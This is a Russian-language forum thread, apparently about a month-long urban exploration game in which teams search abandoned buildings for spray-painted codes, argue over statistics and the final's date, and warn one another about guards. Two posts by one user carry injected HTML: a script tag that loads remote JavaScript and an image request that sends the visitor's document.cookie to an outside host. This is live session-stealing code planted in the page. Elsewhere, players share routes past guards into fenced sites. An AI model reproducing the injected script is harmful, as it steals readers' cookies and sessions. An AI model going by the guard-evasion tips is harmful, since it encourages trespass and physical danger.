Например: 08кульбит67 - первым идет "0", а не "О", после буквы "Т" идет "6", а не "Б".

Punch
17-04-2013, 15:34
"Уважаемые игроки, вбив код "Оргипредоставляютвамвозможностьпосмотретьстату)" - в поле ответа уровня "Общая информация" - вы сможете закрыть данный уровень, получив, таким образом доступ к статистике." - наслаждайтесь, зануды :p

Ну, и для полноты картины закрывай стату, Дашка))

грициан
17-04-2013, 15:36
И добавить еще один такой же уровень с инфой (чтобы не пропала) сразу после первого уровня?

facepalm.jpg
Ну Микс же написал...

Punch
17-04-2013, 15:41
facepalm.jpg
Ну Микс же написал...

Гриц, достал стебаться, честно. Ну не все так шарят в движке, как ты. Теперь буду знать, что инфа никуда не исчезает. Плюс когда на работе, читаешь по-диагонали...

DEd_MONro
17-04-2013, 15:44
Еще один вариант

Всплавающая подсказка по закрытию каждого кода. В каждой подсказки часть закрывашки.
Кто все бонусы не возьмет, точно уровень не закроет.

Punch
17-04-2013, 15:50
Еще один вариант

Всплавающая подсказка по закрытию каждого кода. В каждой подсказки часть закрывашки.
Кто все бонусы не возьмет, точно уровень не закроет.

Дим, ты злой... там и так 400 с фигом бонусов и 400 с фигом подсказок))) И Дашка делает это практически одна)
Не, вроде бонусы отображаются адекватно, stun4fun уже закрыл 1 уровень!

DashИК
17-04-2013, 15:57
Еще один вариант

Всплавающая подсказка по закрытию каждого кода. В каждой подсказки часть закрывашки.
Кто все бонусы не возьмет, точно уровень не закроет.

Можно, но тогда все точно начнут делать "кто быстрее". Хотя вы и так будете...

Fomka
17-04-2013, 16:13
Или ещё вариант - чтобы бонусы дублировали сектора уровня =)
Тогда полностью взятые уровни будут автоматически закрываться.

Velkopiterskij
17-04-2013, 16:17
Вот скажите, а зачем вам всем статистика?)

DashИК
17-04-2013, 17:37
Вот скажите, а зачем вам всем статистика?)

Чтобы фапать, ен? )
Мне лично очень нравится наблюдать кто чем занимается )))

грициан
17-04-2013, 17:41
Чтобы фапать, ен? )
Мне лично очень нравится наблюдать кто чем занимается )))

За Пакмэном наверно очень интересно)

Кюхель
17-04-2013, 21:36
Моя команда сообщает, что там на некоторых (некотором) уровнях (уровне) есть ваши старые метки (не, не метка, именно метки), которые сбивают с толку. Поскольку такого же цвета (и исполнены так же), а указывают фигти куда:confused:.

А ещё есть "ср:", но не ваше;).

Jaguar
18-04-2013, 00:16
давно не чувствовал себя дибилом....ходишь полчаса по зданию в поиске кода огромного балоном и не можешь найти...

alectoNK
18-04-2013, 01:04
давно не чувствовал себя дибилом....ходишь полчаса по зданию в поиске кода огромного балоном и не можешь найти...

Тоже самое:-) зато прогулялись

drontello
18-04-2013, 01:21
а я охереваю бродить по четырех этажному забросу без конечек, направляшек и стопов.

S3T
18-04-2013, 05:52
а я охереваю бродить по четырех этажному забросу без конечек, направляшек и стопов.

мы полчаса в чистой одежде ночью и все сняли

PS. CP: черным маркером на балке тоже смутило сегодня

Punch
18-04-2013, 09:42
Моя команда сообщает, что там на некоторых (некотором) уровнях (уровне) есть ваши старые метки (не, не метка, именно метки), которые сбивают с толку. Поскольку такого же цвета (и исполнены так же), а указывают фигти куда:confused:.

А ещё есть "ср:", но не ваше;).

Кюхель и все ребята! Спасибо за наблюдательность)

Мы постарались решить этот вопрос следующими шагами:
1. На всех кодах в движке прописано, как (баллоном/маркером) написаны коды. Преимущественно это - баллон. Конечки на маркерные коды есть в 90% случаев (кроме ну очень маленьких локаций). Кроме того, также в 80% баллоны используются флюорисцентные - их лучше видно.
2. Формат кодов для вашего удобства чуть изменили: любой код начинается с префикса СР(*цифра*): цифрыбуквыцифры, где *цифра* - это номер кода в движке (то есть от 1 до 3). Такой формат, на сколько я помню, за 4 года не использовался в проекте CityProject.
3. Задротство написания кода сильно зависит от масштаба объекта. Если объект очень большой, мы ставили направляющие, а кое где и конечные метки. При этом метки также имеют нумерацию (от 1 до 3), что позволяет более четко идентифицировать тот код, который вы ищете.
4. Если Вы все-таки код не можете найти, есть штрафные подсказки, которые достаточно четко устанавливают район поиска кода (ну, или локации, если подсказка по локации). Все штрафные подсказки собраны в последнем уровне (чтобы игровые уровни не засорять).
5. По нашему мнению, балонные коды сами по себе являются своеобразными "метками", ибо очень большие... ну может чуть более запрятанными) (здесь вспоминаю нетленную игру "Х-игры" и запрятанные маркерные метки на морозе в -30 градусов))
6. Данная игра - не на время, а на количество взятых уровней. Поэтому мы не видим ничего страшного в том, что Вы погуляете по известным Вам локациям и, возможно, заглянете в те их уголки, в которые на обычных играх никогда и не пойдете. По себе даже скажу, что за 5 лет игр был (оказывается!) не на всех локациях)).

И да, Яга, мы понимаем, что "глаз должен перестроиться" с поиска маркерных кодов на коды баллонные))

Jaguar
18-04-2013, 10:58
Кюхель и все ребята! Спасибо за наблюдательность)

И да, Яга, мы понимаем, что "глаз должен перестроиться" с поиска маркерных кодов на коды баллонные))

какое время на перестроение??)) я два дня уже перестраиваюсь и как-то не очень еще(

Velkopiterskij
18-04-2013, 12:17
какое время на перестроение??)) (
Тут зависит не от оргов, а от тебя. Главное смотри, чтобы перед игрой успеть обратно перестроится)

Jaguar
18-04-2013, 17:34
ура, научился коды балоном находить...

Bersem
18-04-2013, 17:53
ура, научился коды балоном находить...

ещё немного и баллоном научишься (%

Punch
18-04-2013, 17:53
Вот на фига вам стата, если только треть команд 1 уровень закрыла?))

prinncessa
18-04-2013, 17:59
Вот на фига вам стата, если только треть команд 1 уровень закрыла?))
так а кто просил-то?

DEd_MONro
18-04-2013, 18:06
так а кто просил-то?

Орги сами начали выкладывать стату, а игроки кто как мог помогали сделать это цивилизованно

DashИК
18-04-2013, 18:10
Орги сами начали выкладывать стату, а игроки кто как мог помогали сделать это цивилизованно

На самом деле я считала, что те, кому нужна стата будут сами считать кол-во бонусов, взятое командами, но народ захотел чтобы можно было быстро посмотреть кто и сколько взял, забить пару кодов мне не сложно )

DashИК
18-04-2013, 18:11
так а кто просил-то?

По-моему 2 страницы обсуждения были посвящены просьбам показать стату )))
И небольшое ППО по спонсору и призам.

melamory
18-04-2013, 20:26
Я правильно понимаю, что в статистике, имеет смысл смотреть только на количество бонусов?

Punch
18-04-2013, 20:52
Я правильно понимаю, что в статистике, имеет смысл смотреть только на количество бонусов?

Да, абсолютно. Влияет только количество бонусов на итоговый результат.

ndevil
18-04-2013, 20:58
Да, абсолютно. Влияет только количество бонусов на итоговый результат.

так а что мешает тогда снять первый уровень сейчас, чтобы итоговая стата соответствовала действительности, а не пересчитывать в уме бонусы?
<!--s_links--><!--check code--><!--/s_links-->

Punch
18-04-2013, 21:13
так а что мешает тогда снять первый уровень сейчас, чтобы итоговая стата соответствовала действительности, а не пересчитывать в уме бонусы?

инфа в двигле, наверное...

ndevil
18-04-2013, 21:19
инфа в двигле, наверное...
а она исчезнет разве после снятия? уровень-же всем выдан уже. ну так запилите еще один уровень куда инфу copy-paste, призываются гуру ен-движка.
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script>
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>

Velkopiterskij
19-04-2013, 01:40
так а что мешает тогда снять первый уровень сейчас, чтобы итоговая стата соответствовала действительности, а не пересчитывать в уме бонусы?
А чего там пересчитывать? Смысл-то какой? Максимум 400 часов бонуса и всё тут)
Или просто очень уж хочется посмотреть кто в каком темпе берёт?

грициан
19-04-2013, 02:21
Не надо снимать первый уровень. Желающие смотреть стату итак имеют возможность это сделать.

Ol4ik
19-04-2013, 16:27
Вот на фига вам стата, если только треть команд 1 уровень закрыла?))

я вот тож не понимаю, чего все скрывают :)

Punch
19-04-2013, 17:12
Не надо снимать первый уровень. Желающие смотреть стату итак имеют возможность это сделать.

Гриш, а нам ничем не грозит, если мы время окончания 1 уровня поставим не 17 мая, а, например, завтра? Тогда все "не желающие светиться" по идее попадут в стату.

prinncessa
19-04-2013, 17:18
Гриш, а нам ничем не грозит, если мы время окончания 1 уровня поставим не 17 мая, а, например, завтра? Тогда все "не желающие светиться" по идее попадут в стату.

а в штурме можно менять продолжительность уровня, когда игра уже идет? О_о

Effa
19-04-2013, 17:26
Судя по обсуждениям, играть некогда - все на стату дрочат.
Еще месяц до конца игры, орги разберутся с двиглом. Что вы их мучаете.

Velkopiterskij
19-04-2013, 17:56
Судя по обсуждениям, играть некогда - все на стату дрочат.
Еще месяц до конца игры, орги разберутся с двиглом. Что вы их мучаете.

Да чего с ним разбираться-то?)) Официально объявить, что стата открыта у команды только по желанию самой команды )

DashИК
19-04-2013, 18:04
Еще месяц до конца игры, орги разберутся с двиглом. Что вы их мучаете.
Смешно.


Официально объявить, что стата открыта у команды только по желанию самой команды )
На самом деле посмотреть сколько и чего взяла каждая из команд можно по бонусам, я вообще не считала это проблемой. Народ попросил дать возможность видеть "быструю" стату - сделали.
Я не вижу смысла в "обязаловке".

а в штурме можно менять продолжительность уровня, когда игра уже идет? О_о
Если уровень реализован бонусом, то да, можно менять продолжительность.


Гриш, а нам ничем не грозит, если мы время окончания 1 уровня поставим не 17 мая, а, например, завтра? Тогда все "не желающие светиться" по идее попадут в стату.
Я не Гриша, но могу сказать, что с первым уровнем это не прокатит )
И вообще - есть несколько более простых вариантов заставить команды вбить закрывашки - например, вкатить штраф, пару суток, если они не вобьют коды до завтра))) другой вопрос - нафига.

Effa
19-04-2013, 18:44
Я без сарказма, если что. Просто удивило, как же сильно людей припекает смотреть стату, когда висит уже десяток заданий для выполнения.

грициан
19-04-2013, 19:42
На самом деле посмотреть сколько и чего взяла каждая из команд можно по бонусам, я вообще не считала это проблемой. Народ попросил дать возможность видеть "быструю" стату - сделали.
Я не вижу смысла в "обязаловке".


Да никто не просил. Один набросил, остальные понакидали вариантов. Участие в обсуждении способов открытия статистики не означает просьбы её открыть)

Ol4ik
19-04-2013, 22:49
На самом деле посмотреть сколько и чего взяла каждая из команд можно по бонусам, я вообще не считала это проблемой.

я ленивая, и мне влом считать, даже сколько у нас взято))) и я за открытую стату)))

Ol4ik
19-04-2013, 22:50
Да никто не просил. Один набросил, остальные понакидали вариантов. Участие в обсуждении способов открытия статистики не означает просьбы её открыть)

Гриц, чо ты вот вредина такая?)))

prinncessa
24-04-2013, 11:07
Друзья-товарищи, будьте аккуратны, около баяна №20 неадекватные аборигены сворачивают номера с машин... Паркуйтесь подальше где-нибудь, а не у самой локи.

alectoNK
24-04-2013, 23:50
Друзья-товарищи, будьте аккуратны, около баяна №20 неадекватные аборигены сворачивают номера с машин... Паркуйтесь подальше где-нибудь, а не у самой локи.

Спасибо большое за предупреждение!! видимо, мне вчера повезло о_О

Mirt
25-04-2013, 16:55
http://i.ynblpb.com/u/2013/04/1366894430.jpeg

Punch
25-04-2013, 17:33
...
Хочешь маркерные без конечек?))

Heckfy
25-04-2013, 18:41
да

miibus
25-04-2013, 18:47
да

схл через месяц вроде будет)) там маркерные без конечек в основном)

Странный
27-04-2013, 22:38
100 пенисов и один большой пенис. (http://www.youtube.com/watch?v=jgLzrTPkdgI)

Punch
30-04-2013, 00:08
Уважаемые игроки!
Маленькая ремарка: Если мы пишем, что тот или иной боян является сталкером - значит так и есть и вести на нем надо предельно осторжно, тихо и скрытно. Не надо лишний раз тревожить охрану или местных жителей!

P.S. Пожалуйста, кто-нибудь из команды К.Е. напишите мне в личку (по бояну №42)

Кюхель
01-05-2013, 03:37
Уважаемые игроки!
Маленькая ремарка: Если мы пишем, что тот или иной боян является сталкером - значит так и есть и вести на нем надо предельно осторжно, тихо и скрытно. Не надо лишний раз тревожить охрану или местных жителей!


Играть в разведчика офигенно!
Никаких входных уже нет (закрашены), чистая разведка, КНП, бинокли, брустверы, дыхание внутрь, спонтанное КО-2, всё молча. Круть.

Ты его или он тебя.

P.S. 33й.

Jaguar
01-05-2013, 11:26
Играть в разведчика офигенно!
Никаких входных уже нет (закрашены), чистая разведка, КНП, бинокли, брустверы, дыхание внутрь, спонтанное КО-2, всё молча. Круть.

Ты его или он тебя.

P.S. 33й.

прям экшн))

Jaguar
01-05-2013, 16:33
33 запилен, обход охраны и метки закрашены все - снимайте ее))

Кюхель
01-05-2013, 22:40
Не, всё берётся!

Хорош ныть, давайте, как я!=)

Jaguar
01-05-2013, 22:51
Не, всё берётся!

Хорош ныть, давайте, как я!=)

требую пару уроков):D

DEd_MONro
04-05-2013, 14:45
Небольшое замечание по баяну 40.
Такое ощущение что человек там был впервые.
Если идти по давно проверенным маршрутам, а не по направляшкам, то КО будет такое
1 - КО1
2 - КО1+
3 - КО3 но и при желании КО1 легко.

Jaguar
04-05-2013, 15:49
Небольшое замечание по баяну 40.
Такое ощущение что человек там был впервые.
Если идти по давно проверенным маршрутам, а не по направляшкам, то КО будет такое
1 - КО1
2 - КО1+
3 - КО3 но и при желании КО1 легко.

зая, а ты кому кодюли снимаешь?

DEd_MONro
04-05-2013, 16:10
зая, а ты кому кодюли снимаешь?

Сие есть тайна

Punch
04-05-2013, 17:01
Небольшое замечание по баяну 40.
Такое ощущение что человек там был впервые.
Если идти по давно проверенным маршрутам, а не по направляшкам, то КО будет такое
1 - КО1
2 - КО1+
3 - КО3 но и при желании КО1 легко.

Снял как трешку последнюю?)

Punch
04-05-2013, 17:01
Сие есть тайна

Главное, чтобы орги знали;)

DEd_MONro
04-05-2013, 17:20
Снял как трешку последнюю?)

НУ залез разумеется, кстати направляшку все же лучше с дороги рисовать было, тропами мало кто ходит.

А знал бы что код там с этажа бы увидел, в принципе как и все остальные коды.

ndevil
04-05-2013, 19:35
утерян фонарь, предположительно на баяне-57, или на баяне-54.
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script>
<script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script>
черный зум EDi-T13, вот такой:
http://clip2net.com/clip/m0/1367681284-clip-64kb.jpg

вдруг кто найдет.

Кюхель
04-05-2013, 20:13
НУ залез разумеется, кстати направляшку все же лучше с дороги рисовать было, тропами мало кто ходит.

А знал бы что код там с этажа бы увидел, в принципе как и все остальные коды.

Штук 15, наверное, уже взяли кодов, которые видно вообще с другого места, тем самым меняя их КО. В этом и прелесть игры;).

Punch
04-05-2013, 22:17
Штук 15, наверное, уже взяли кодов, которые видно вообще с другого места, тем самым меняя их КО. В этом и прелесть игры;).

Да развлекайтесь)))

Jaguar
05-05-2013, 02:08
на баяне 65 уже злая охрана, будьте аккуратней.

не особо дружелюбны в общении были - угрожалки угрожали.

McLuck
05-05-2013, 05:53
На бояне 13 - просьба подходить в вагончик рядом с местом и предупреждать охрану. Они в теме, добры.

Just_Vinny
05-05-2013, 21:38
угрожалки угрожали.
их на последнем дозоре раззодорили, машину лучше оставлять в сторонке, а то выезд перекроют и будут делать то, что описал Яга.

на 13м вагончик есть? 0_о

Панч, в шоке от тебя после №39)) ты за воздух держаться умеешь что ли?

Grom
05-05-2013, 22:13
Панч, в шоке от тебя после №39)) ты за воздух держаться умеешь что ли?
По-моему с твоим ростом проблем никаких не должно быть...

Jaguar
05-05-2013, 22:36
их на последнем дозоре раззодорили, машину лучше оставлять в сторонке, а то выезд перекроют и будут делать то, что описал Яга.

на 13м вагончик есть? 0_о

Панч, в шоке от тебя после №39)) ты за воздух держаться умеешь что ли?

на посл дозоре-там был милый охранник, который все распросил у нас что и как...а тут хачеохрана, которая собралась все пизд*** без разговоров)

но историю как его пятеро таких как я хотели на игре отфигачить, он мне рассказал))

Just_Vinny
05-05-2013, 23:33
По-моему с твоим ростом проблем никаких не должно быть...
мне одного его не всегда достаточно..
залезть туда я бы смог, слезть - наврядли.
редко, но бывает.

prinncessa
05-05-2013, 23:35
на посл дозоре-там был милый охранник, который все распросил у нас что и как...а тут хачеохрана, которая собралась все пизд*** без разговоров)

но историю как его пятеро таких как я хотели на игре отфигачить, он мне рассказал))

вчера днем там было тихо и спокойно..

Jaguar
05-05-2013, 23:35
мне одного его не всегда достаточно..
залезть туда я бы смог, слезть - наврядли.
редко, но бывает.

не пугайте меня...я еще там не был)

prinncessa
05-05-2013, 23:48
не пугайте меня...я еще там не был)
не боись! туда даже я залезла бы, но меня не пустили)

Jaguar
05-05-2013, 23:49
не боись! туда даже я залезла бы, но меня не пустили)

хочу и боюсь):D

prinncessa
05-05-2013, 23:54
хочу и боюсь):D

тогда бойся и не едь туда!)

ndevil
06-05-2013, 00:32
Панч, в шоке от тебя после №39)) ты за воздух держаться умеешь что ли?
а че нетак с 39 ? там вполне норм вроде все, ну или по крайней мере зеркалом дотянуться можно.
<!--s_links--><!--check code--><!--/s_links-->

Jaguar
06-05-2013, 22:20
запугали меня...не залез(

DEd_MONro
06-05-2013, 22:24
запугали меня...не залез(

че ты ссышь - без зеркала 2 минуты ползти, куртку блин тока запачкал

Jaguar
07-05-2013, 00:10
че ты ссышь - без зеркала 2 минуты ползти, куртку блин тока запачкал

какой ты быстрый...два метра ползешь 2 минуты)))

DEd_MONro
07-05-2013, 00:31
НУ я же еще , потел, очковал, кричал чтобы меня подтолкнули и ругался на авторов.

Just_Vinny
07-05-2013, 09:51
а че нетак с 39 ? там вполне норм вроде все, ну или по крайней мере зеркалом дотянуться можно.
так и было

DrDim777
07-05-2013, 10:03
так и было

читер ))

Just_Vinny
07-05-2013, 10:27
читер ))
там было целое инженерное решение по созданию телескопического зеркала из нихуя

Jaguar
07-05-2013, 10:35
там было целое инженерное решение по созданию телескопического зеркала из нихуя

а наху, тьфу зачем????:D

Кюхель
07-05-2013, 14:21
Хочу важную проблему поднять. Вопрос к оргам. Задается сейчас, поскольку в начале игры никто не мог осознавать все свои планы и даты. Да и про дату финала в начале речь не шла.

Вообще не факт, что моя команда соберёт всё по боянам (ну нам просто легче так - типа мы лопухи, и всё такое;)), но - чем чёрт не шутит - вдруг? Вдруг у нас получится, и мы попадаем на финальную раздачу коврижек?

И тут мы задумались о том, что дата раздачи назначена на уик-энд, доверху забитый DL. Во-первых, 17.05 Dlmini, во-вторых, 18.05 BDL. В обоих сезонах мы играем, и никогда эти две вещи друг другу не мешали.

Мы задали предварительно вопрос о датах - дату переносить вы не готовы (хотя есть прекрасная свободная от Dl1 дата 24.05). Итого: как нам найти мотивацию собрать ещё 40 боянов, зная, что финал (если что) придется сыграть с изначальным отставанием в 2-3 часа:confused:? Играть месяц, чтобы так демотивироваться...

Конечно, это наши проблемы. С другой стороны - назначение такой "специальной" игры на уик-энд BDL (как оказалось) это ни разу не айс.

Вопрос к оргам DLmini уже задавали, но эта игра с самого начала в расписании на 17.05, так что...

Как быть?

Punch
07-05-2013, 16:46
Хочу важную проблему поднять. Вопрос к оргам. Задается сейчас, поскольку в начале игры никто не мог осознавать все свои планы и даты. Да и про дату финала в начале речь не шла.

Вообще не факт, что моя команда соберёт всё по боянам (ну нам просто легче так - типа мы лопухи, и всё такое;)), но - чем чёрт не шутит - вдруг? Вдруг у нас получится, и мы попадаем на финальную раздачу коврижек?

И тут мы задумались о том, что дата раздачи назначена на уик-энд, доверху забитый DL. Во-первых, 17.05 Dlmini, во-вторых, 18.05 BDL. В обоих сезонах мы играем, и никогда эти две вещи друг другу не мешали.

Мы задали предварительно вопрос о датах - дату переносить вы не готовы (хотя есть прекрасная свободная от Dl1 дата 24.05). Итого: как нам найти мотивацию собрать ещё 40 боянов, зная, что финал (если что) придется сыграть с изначальным отставанием в 2-3 часа:confused:? Играть месяц, чтобы так демотивироваться...

Конечно, это наши проблемы. С другой стороны - назначение такой "специальной" игры на уик-энд BDL (как оказалось) это ни разу не айс.

Вопрос к оргам DLmini уже задавали, но эта игра с самого начала в расписании на 17.05, так что...

Как быть?

Мы же с тобой сегодня говорили по телефону?
Тогда мы друг друга недопоняли. Мы еще раз нашей маленькой орггруппой все взвесили, и вот что получилось:
1. "Да и про дату финала в начале речь не шла." - финал был анонсирован до начала игры именно на 17-18 мая. Это есть и в анонсе, он с начала игры не обновлялся. Более того, даже перенос основной части игры не повлиял на дату финала
2. Финал 1001 бояна планировался именно на эту дату (17.05), так как в субботу 18.05 - ДЛНС, а в пятницу 24.05 должен был быть ДЛ1. Смысла проводить финал 25.05 после тяжелейшей игры от РЧ - это за гранью добра. Тем более орги 1001 бояна сами играют активно в ДЛ1.
3. Официально о переносе ДЛ1 с 24.05 на 25.05 до сих пор нигде не объявлено. В расписании стоит 24.05, и только в анонсе игры, который появился 4 дня назад стоит 25.05. Чему верить?
4. Самое главное: на 24.05 у организаторов есть уже свои планы. И, к счастью, семья до сих пор у меня на главном месте по сравнению с любыми играми.
5. Совсем недавно, на сколько я помню, команда "Люди_Х" (а ты же из нее, правильно?) совершенно спокойно умудрилась поиграть и в ДЛмини, и в ДЛ1, которые проходили одновременно. При этом вопроса в мотивации не возникало.
6. От лица организаторов могу добавить, что мы не будем делать финал столь сложным, чтобы команды замотались на игре. Я совершенно уверен, что это будет игра на 3-4 часа.

Кюхель
07-05-2013, 19:28
Нет, по телефону вы общались с другим бойцом. Он у нас человек-ухо, а я человек-буквы.)

По сути, я предложил адекватный вариант даты, и всё. DL1 пока 25.05. А если даже он будет 24.05, то никто ни во что 25го после него играть, конечно, не будет. Но если DL1 25 мая, к чему всё идёт, то 3-4 часовой заезд днём ранее - был бы отличной тренировкой перед жестью... Начав же на два часа позже всех, мы не будем иметь даже шанса на предпоследнее место...

А про семью - я добро улыбаюсь :o потому, что уж тогда ты должен понимать команды, на месяц вписавшиеся в эту отнимающую кучу времени всепоглощающую игру.

P.S. Уж как мы сыграли в две игры за одну ночь, пусть останется секретом. Но к сожалению, результат той второй говорит сам за себя:eek:.

Punch
07-05-2013, 23:03
Ребята! как бы мы не противились снятию локаций...
Сегодня начали обносить забором очень клевый боян №69. Будка охраны - прямо рядом с залазом. Брать практически невозможно. В связи с этим этот боян снимается.

Спасибо всем, кто звонит и сообщает ситуацию на тех или иных боянах!

Grom
07-05-2013, 23:25
А кто-то в нем уже успел кодики поснимать? :(

Jaguar
08-05-2013, 01:06
А кто-то в нем уже успел кодики поснимать? :(

я снял полностью )) прикольная лока...побродил по второму этажу...

DrDim777
08-05-2013, 01:23
ага видимо вчера зря провели там 3 часа )))

Deneb
08-05-2013, 01:56
чо за локу пильнули?

Bersem
08-05-2013, 10:32
Снят поиск или и раскурка?

Punch
08-05-2013, 11:08
Снят поиск или и раскурка?

Правильный вопрос, спасибо)
Поиск. Курить - курите, этому охрана не мешает)

Heckfy
08-05-2013, 20:29
3. Официально о переносе ДЛ1 с 24.05 на 25.05 до сих пор нигде не объявлено. В расписании стоит 24.05, и только в анонсе игры, который появился 4 дня назад стоит 25.05. Чему верить?

Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?

stent0r
08-05-2013, 21:26
Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?
ЙУМЭЙДМАЙДЭЙ.. ROTFL :D

Кюхель
09-05-2013, 01:20
Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?

Здесь нет такого смайлика, какой я ставлю)))))))))))))))))

Velkopiterskij
09-05-2013, 02:38
Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?

Рус, а не проще пнуть администраторов ДЛ1 чтобы перенесли дату в календаре?

McLuck
09-05-2013, 06:34
Внимательнее на баяне 34. В здании Фи1 посередине - утка на гнезде на земле (http://cs310721.vk.me/v310721985/610/wOJY44Ik_Rw.jpg). Просьба не беспокоить и аккуатнее плз.

Scod
09-05-2013, 11:01
Ребята! как бы мы не противились снятию локаций...
Сегодня начали обносить забором очень клевый боян №69. Будка охраны - прямо рядом с залазом. Брать практически невозможно. В связи с этим этот боян снимается.

Спасибо всем, кто звонит и сообщает ситуацию на тех или иных боянах!

Нет, не снимайте! Пусть все дружно лезут на громоотвод :D
ЗЫ: там вообще-то два прохода, и снять эту локу все равно можно.

DashИК
09-05-2013, 17:02
Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?

А можно тогда сразу в 3 экземплярах сделать, я тоже хочу бумагу с гербом Карася.

Собственно по теме переноса - дата финальной игры была объявлена заранее, чтобы играющие команды могли планировать свое время, переносить дату игры сейчас, как мне кажется, будет не совсем правильно по отношению ко всем остальным участникам мероприятия, которые планировали играть 17-го.
Изначально специально выбирались выходные, не совпадающие с игрой ДЛ.1, потому что если бы не перенос, то играть во что-либо в суб после игры Р4 было бы не реально. Если бы о переносе игры было известно заранее, да, вариант проведения игры 24-го был бы возможен.
Спасибо за понимание.

DashИК
09-05-2013, 17:04
Пусть все дружно лезут на громоотвод :D


Когда мне сказали, что вы лезли по громоотводу я вначале не поверила.... Упорки!!!! )))

DashИК
09-05-2013, 17:08
Внимательнее на баяне 34. В здании Фи1 посередине - утка на гнезде на земле (http://cs310721.vk.me/v310721985/5df/y5Dz0XjJNoI.jpg).

Клеваааая )

Grom
09-05-2013, 23:44
Нет, не снимайте! Пусть все дружно лезут на громоотвод :D
Нормально там все. Сняли сегодня все кодики за 5мин до приезда аварийки ;)

DEd_MONro
10-05-2013, 00:12
Нормально там все. Сняли сегодня все кодики за 5мин до приезда аварийки ;)

Грому по громоотводу проскочить было еще проще.

Velkopiterskij
12-05-2013, 16:43
Ребята! как бы мы не противились снятию локаций...
Сегодня начали обносить забором очень клевый боян №69. Будка охраны - прямо рядом с залазом. Брать практически невозможно. В связи с этим этот боян снимается.

Решение не изменилось? А то нелепо будет в последний день узнать, что уровень внезапно вернули.

Punch
12-05-2013, 18:31
Бумагам, Слава. Мы обязательно подпишем разрешение на перенос в 14 кабинетах высших инстанций дл, а также поставим под сим документом подписи всех копетанов команд и самого руководителя направления въебав гербовую печатью с гербом карася у которого в одной руке руль, который он вертит только в ту сторону в какую говорит штурман, а в другой значок суммы (в москве подарили)! Потом отправим документ заказным письмом солнцеликому и будем ждать ответа. А пока мы будем ждать - можно будет перенести игру на спб.ен.цх и не ебать бошки, так да?

Руслан, ваще без претензий к вам, вот честно.

Punch
12-05-2013, 18:34
Решение не изменилось? А то нелепо будет в последний день узнать, что уровень внезапно вернули.

Съездил, посмотрел... Щас Даша на связь выйдет и решим.

Punch
12-05-2013, 20:20
Ребята! как бы мы не противились снятию локаций...
Сегодня начали обносить забором очень клевый боян №69. Будка охраны - прямо рядом с залазом. Брать практически невозможно. В связи с этим этот боян снимается.

Спасибо всем, кто звонит и сообщает ситуацию на тех или иных боянах!

Итак... По 69-му баяну!
Долго думали и все взвешивали, съездили на локу - проанализировали ситуацию. Посмотрели стату...
1. Залаз на локацию в обход охраны есть - с восточной стороны через козырек, на крышу и в окно 2 этажа.
http://rghost.ru/45951633/image.png
2. После обнесения и постановки охраны лока снималась командой Люди_Х.
3. Из команд, претендующих на финал, полностью сняли локу 3 команды, по 2 кода сняли еще 3 команды и три команды локу не снимали (пакмэн, за всю хурму и пешеезды)
Поэтому решено локу не снимать и объявить ее жестким сталкером

McLuck
12-05-2013, 20:28
Итак... По 69-му баяну!
Долго думали и все взвешивали, съездили на локу - проанализировали ситуацию. Посмотрели стату...
1. Залаз на локацию в обход охраны есть - с восточной стороны через козырек, на крышу и в окно 2 этажа.
http://rghost.ru/45951633/image.png
2. После обнесения и постановки охраны лока снималась командой Люди_Х.
3. Из команд, претендующих на финал, полностью сняли локу 3 команды, по 2 кода сняли еще 3 команды и три команды локу не снимали (пакмэн, за всю хурму и пешеезды)
Поэтому решено локу не снимать и объявить ее жестким сталкером

эээ, вы-бы ещё в последний день сказали

Punch
12-05-2013, 21:39
эээ, вы-бы ещё в последний день сказали

Женя, еще 5 дней есть

Potaki
12-05-2013, 23:49
молодцы

ndevil
13-05-2013, 00:23
с восточной стороны через козырек, на крышу и в окно 2 этажа.

ты сам-то туда пробовал залезть через этот козырек? слазить с него еще удобно а вот залазить нет. хотя есть в обход и другие пути на эту крышу... такчто лока берется, только что оттуда, доснял то чего не хватало.


Поэтому решено локу не снимать и объявить ее жестким сталкером
вот тут полностью согласен, мужичок охранник постоянно курсирует по первому этажу и бдит.
